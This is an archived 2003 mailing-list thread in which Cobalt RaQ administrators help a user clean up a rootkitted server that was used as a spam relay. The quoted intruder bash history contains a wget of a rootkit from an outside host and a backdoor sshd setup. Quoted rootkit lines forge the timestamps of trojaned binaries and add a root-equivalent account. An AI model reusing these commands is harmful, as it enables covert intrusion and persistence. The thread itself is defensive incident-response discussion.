Re: [cobalt-users] SSH stops after login

["Mike's List" <mikelist@xxxxxxx>]

Looks like your /home/sites/home/users/admin is nuked or if worst the
entire /home --try booting into single user mode (instructions at the
Sun's Cobalt Knowledge Base (below).  Once successful, you can see what's
there and what's not.  You might have to do a restore.

http://cobalt-knowledge.sun.com/cgi-bin/kbase.cfg/php/enduser/std_alp.php


- Mike


On Fri, 10 Jan 2003, Adam Knowles wrote:

> Steve / people interested in compromised Raqs (should I post on
> [cobalt-security]?)..
> 
> I tried rebooting my server. Now I can't login properly on SSH. I can
> SSH and get the password prompt. I type the correct password and get
> logged in, but get the message on the terminal:
> "Could not chdir to home directory /home/sites/home/users/admin: No such
> file or directory"
> 
> It stops and won't go to a command prompt. Email and ping work, but all
> websites on the server are not available. Is there anyway to get past
> the shell error message and get back to a command prompt?
> 
> Thanks again to Steve Werby for the email sent before Christmas. Though
> it was rootkitted, I left the server on the network over Christmas to
> see what happened, since there was no nefarious activity after the
> rootkit was installed. 
> 
> If nothing happened, no problem, and if it did, then I'd be interested
> in finding out to further my knowledge of sorting hacked servers. Not
> the most responsible thing to do, but I gotta learn somehow?
> 
> Today I discovered the Raq was being used as a spam relay. It stopped
> sending legitimate mail..a user complained and that's how I found out.
> 'ps -aux' showed lots of sendmail processes. mail -v on your advice,
> showed a lot of spam.
> 
> I repeated..
> /etc/rc.d/init.d/sendmail stop
> 
> ..until I got an error. But after a few minutes the processes started
> spawning again. How can I stop sendmail in its tracks, altogether?
> 
> I replaced all the files the rootkit had installed with new RPM versions
> from rpmfind.net using 'rpm -i <file.1386.rpm> --force'. And I took some
> lines with 't0rn' and other things out of log.h & proc.h. 
> 
> After that, chkrootkit reported OK for a change. Still identified the
> t0rn rootkit and problems with the Perl installation, but no backdoored
> files.
> 
> That's when I rebooted the server and now the websites are down! And I
> can't get in on SSH.
> 
> I'm close to calling in the rebuild on this server now. If I do, what
> files should I ask to be backed up for help with the reinstall?  At the
> mo I have: 
> Directory of /home/sites/
> /etc/named/records
> 
> Still not sure I'm going to accomplish the restore, since the CMU didn't
> do what I needed last time I tried. And since I now can't get to a
> shell, I can't use it..? If I can get to a prompt, I'll investigate the
> best restore strategy again.
> 
> I'm including the previous emails sent at the bottom for reference.
> Apologies for top-posting but since the original conversation was weeks
> ago I don't want people having to reference archived mail.
> 
> Thanks to anybody that can help me with this situation. Quite desperate
> now!
> 
> Adam Knowles
> 
> > -----Original Message-----
> > From: cobalt-users-admin@xxxxxxxxxxxxxxx [mailto:cobalt-users-
> > admin@xxxxxxxxxxxxxxx] On Behalf Of Steve Werby
> > Sent: 17 December 2002 03:12
> > To: cobalt-users@xxxxxxxxxxxxxxx
> > Subject: Re: [cobalt-users] Root kit raq
> > 
> > "Adam Knowles" <adam@xxxxxxxxxxxxxxx> wrote:
> > > Wondering if any1 has time to help with a hacked raq? I'm not the
> most
> > > experienced sysadmin, so hopefully this can be some good learning
> for
> > > me, if anyone's willing to share! Apologies for the long email, but
> if
> > > any1 can read it I'd appreciate it soo much :)
> > >
> > > It's a Raq4i 512mb. It got hacked through the flawed SHP package Sun
> > > shipped. I hadn't yet applied the SHP-remove package.
> > 
> > With SHP installed anyone can remotely execute code as root, which
> gives
> > anyone root level access.
> > 
> > > You'll see the extent of the break-in later, but the only actual
> symptom
> > > is mail sent using my server as SMTP never arrives. Local user's
> mail is
> > > delivered OK. SMTP doesn't give errors; it accepts mail but doesn't
> > > deliver it.
> > 
> > See /var/log/maillog to see what's happening and try mail -v to see
> what's
> > happening.
> > 
> > > The hack happened Monday morning at 05.00. Someone got in and
> executed
> > > the following, taken from BASH history (why didn't they clean this
> up?):
> > 
> > It's so easy to scan for vulnerable machines, download rootkits and
> > copy/paste step by step instructions that it requires zero *nix
> knowledge
> > to
> > hack a vulnerable *nix server.  So the hacker may not have known to
> cover
> > his/her tracks or might not have cared.
> > 
> > > ------------------------ START SNIP -----------------------------
> > >
> > >
> {.{bash_history,nsr},b{in,oot},dev,etc,gmon.out,home,l{ib,ost+found},mnt
> > > ,nsr,opt,proc,root,s{bin,etup},tmp,usr,var$
> > > hostname
> > > cd /usr/sbin
> > > mkdir tmp
> > > cd tmp
> > > pwd
> > > wget http://www.tk-pttuntex.com/~zen/file/tutorial/rkid.tar.gz
> > > tar -zxf rkid.tar.gz
> > > cd rkid
> > > ./setup angina 35353
> > > exit
> > > ------------------------ END SNIP -----------------------------
> > >
> > > So they got in to the system, then downloaded rkid.tar.gz. This is a
> > > root kit. I downloaded it myself and it calls itself:
> "shkit-v4-internal
> > > release 2002". Amongst other things, there's three files infected
> with a
> > > couple of viruses: Linux.Lion.Worm and Trojan.Linux.Hacktop. I know
> this
> > > since Norton told me when I downloaded the rkid.tar.gz to my Windows
> PC.
> > > Is there anything I can do about these viruses?
> > 
> > Since Norton for a PC is designed to check for PC viruses I'd put more
> > stock
> > in what chkrootkit or similar *nix programs say.
> > 
> > > The kit installed a new sshd, running on port 35353 with the pass
> > > 'angina'.
> > >
> > > I tried this:
> > > /sbin/ipchains -A input -j DENY -p tcp -l -s 0.0.0.0/0 -d
> > > my.servers.ip.address/32 35353
> > 
> > You may have already, but it's a good idea at this point to remove the
> > trojaned SSH and kill it.  Use "ps aux", "netstat -an" and lsof to get
> > info.
> > on what's running.  lsof isn't installed by default so download it and
> run
> > it.  And since your binaries may be trojanned, I advise downloading
> the
> > parent RPMs from the Cobalt FTP site and installing them in a
> non-standard
> > location and using them to determine if yours are trojanned or just
> use
> > them
> > instead of the installed binaries while troubleshooting.  rpm -qf
> > <path_to_file>/<file> will tell you the RPM which the file was part
> of.
> > You
> > definitely want md5sum, ps, netstat, ls, top, kill, killall, etc.
> > 
> > > I added the ipchains line to the bottom of rc.local to make sure it
> > > carries over reboots.
> > 
> > You might want to tighten your existing firewall using IPCHAINS so
> that
> > the
> > only ports which are open are ports you are running a service on and
> > possibly a few ports for PortSentry to run in honeypot mode.
> > 
> > > That stopped telnet and SSH on port 35353 from working.
> > 
> > I'm not sure if you're saying that the script tries to run SSH on that
> > port,
> > but has the facility to use a trojaned version of telnet instead.  If
> you
> > didn't just mean SSH alone I'm curious.
> > 
> > > Telnet's
> > > normally disabled, but had mysteriously become enabled. I disabled
> it
> > > again.
> > 
> > Again, if you're firewall is configured properly the telnet port
> either
> > shouldn't be open or should only be open for a small number of trusted
> IPs
> > in case telnet access is needed in the event SSH is unavailable.
> > 
> > > I've stopped access to the hacker's own SSH, and changed the
> password
> > > for admin and root on my 'real' SSH. Is that enough to stop the
> > > immediate threat? Or will they have access to my new passwords
> somehow?
> > 
> > The SHP vulnerability gave anyone access to /etc/shadow and
> /etc/passwd
> > along with every other file on the server.  So it's possible the
> hacker
> > has
> > access to those files and is cracking them using John the Ripper or a
> > similar program.  If you haven't applied the SHP removal PKG the
> hacker
> > may
> > have access to the new passwords.  And just because a trail was left
> in
> > .bash_history doesn't mean that .bash_history wasn't edited or that
> the
> > hacker hasn't executed other commands that wouldn't appear in root's
> > .bash_history.
> > 
> > > I got the chkrootkit software to check other stuff.
> > > Notable results:
> > >
> > > [root chkrootkit-0.37]# ./chkrootkit
> > >
> > > Checking `ifconfig'... INFECTED
> > 
> > Did it report it was running in promiscuous mode as well (would be
> later
> > in
> > the output)?
> > 
> > > Checking `login'... INFECTED
> > > Searching for t0rn's v8 defaults... Possible t0rn v8 (or variation)
> > > rootkit installed
> > > Searching for Showtee... Warning: Possible Showtee Rootkit installed
> > 
> > I would absolutely do a complete restore, change all user passwords,
> apply
> > all PKGs and then install security software and run it religiously.  I
> do
> > a
> > lot of security work and I always advise clients that a restore is the
> > only
> > way to be sure that any files installed or modified by a hacker are
> > removed.
> > With some rootkits I'm comfortable troubleshooting and handling
> without a
> > restore, but based on what you've shared if it was my box I'd do a
> full
> > restore.  YMMV.
> > 
> > > I installed Portsentry 2. Do I need to add that to my rc.local to
> make
> > > sure it starts up on reboot?
> > 
> > If there's no file for it in init.d.  I'd use chkconfig to set it up,
> but
> > rc.local will work too.
> > 
> > > Found in /etc/passwd & /etc/shadow:
> > > sbin:x:0:0::/sbin/services:/bin/bash
> > 
> > And was there a .bash_history in /sbin/services/?  The UID and GID
> were
> > 0:0
> > which is the same as root's.  That means this user has the same
> privileges
> > as the root user.  FYI, it's not uncommon for rootkits to modify
> binaries
> > and syslogd in order to make it difficult to impossible to see what
> > commands
> > the hacker executed.
> > 
> > > Seemed to be a user called 'sbin' with root privileges?  Got rid of
> it.
> > > Should I have done this another way with 'userdel' or something?  Do
> I
> > > need to restart anything for these changes to be noticed?
> > 
> > I would have used userdel, but I'd research first to ensure that it
> > doesn't
> > delete files owned by the same UID.  I'm almost positive it doesn't
> > because
> > I'm quite sure I've done this before, but YMMV.
> > 
> > > System logs aren't being generated. How can I sort that? Syslogd
> reports
> > > it's already running.
> > 
> > Verify that it's /sbin/syslogd.  I've seen trojans that replace that
> with
> > /sbin/syslgd or similar which may appear to be correct to the naked
> eye.
> > But I can't stress enough that I'd do a restore instead of trying to
> clean
> > the system.
> > 
> > > The kit added these lines to rc.sysinit. I removed them, but what
> did
> > > they do?
> > >
> > > # Xntps (NTPv3 daemon) startup..
> > > /usr/sbin/xntps -q
> > 
> > Not sure, but Google will probably give a clue.
> > 
> > > And finally..here's all the files the kit backdoor'd:
> > >
> > > ------------- START SNIP ----------------
> > > # time change bitch
> > >
> > > touch -acmr /sbin/ifconfig ifconfig
> > > touch -acmr /bin/ps ps
> > > touch -acmr /bin/ls ls
> > > touch -acmr /bin/login login
> > > touch -acmr /bin/netstat netstat
> > > touch -acmr /usr/bin/find find
> > > touch -acmr /usr/bin/top top
> > > touch -acmr /usr/sbin/lsof lsof
> > > touch -acmr /sbin/syslogd syslogd
> > > touch -acmr /usr/bin/slocate slocate
> > > touch -acmr /usr/bin/dir dir
> > > touch -acmr /usr/bin/md5sum md5sum
> > > touch -acmr /usr/bin/pstree pstree
> > 
> > Ah.  I should have read this all the way through before answering.
> Until
> > you replace with known good versions or install them to a separate
> > location
> > to troubleshoot you cannot rely on any output from any of the above
> > programs...and possibly others installed by later rootkits or
> installed
> > manually.
> > 
> > > echo ${RED} baga mare PuiDeDraC jajajaj !!! PuiDeDraC Iz Hackerz!!!
> > >
> > > ------------- END SNIP --------------------
> > >
> > > It looks like the damage is pretty serious. I've taken an SQL backup
> of
> > > the mySQL databases on the server, plus tarballed up the /home/sites
> > > directory. If I clean the latter with Norton, order a rebuild from
> my
> > > datacentre, then upload everything back..is that the best way
> forward?
> > 
> > I'd download the CMU and use it to backup and restore your sites,
> users
> > and
> > email.  See http://sunsolve.sun.com/patches/cobalt/migration.html.
> Also,
> > grab /etc/named/records and reinstall it after the restore and run
> > /usr/admserv/cgi-bin/.cobalt/dns/index.cgi to restore the DNS zone
> files.
> > This will save you a lot of manual work.
> > 
> > > And did this really all happen just because I didn't apply the
> > > SHP-remove package from Sun in time?
> > 
> > It's very possible.  But that's not to say your box couldn't have been
> > secured more even if SHP was removed.  That would really require an
> audit
> > by
> > someone with experience in security.
> > 
> > --
> > Steve Werby
> > President, Befriend Internet Services LLC
> > http://www.befriend.com/
> > 
> > 
> > _____________________________________
> > cobalt-users mailing list
> > cobalt-users@xxxxxxxxxxxxxxx
> > To subscribe/unsubscribe, or to SEARCH THE ARCHIVES, go to:
> > http://list.cobalt.com/mailman/listinfo/cobalt-users
> 
> _____________________________________
> cobalt-users mailing list
> cobalt-users@xxxxxxxxxxxxxxx
> To subscribe/unsubscribe, or to SEARCH THE ARCHIVES, go to:
> http://list.cobalt.com/mailman/listinfo/cobalt-users
>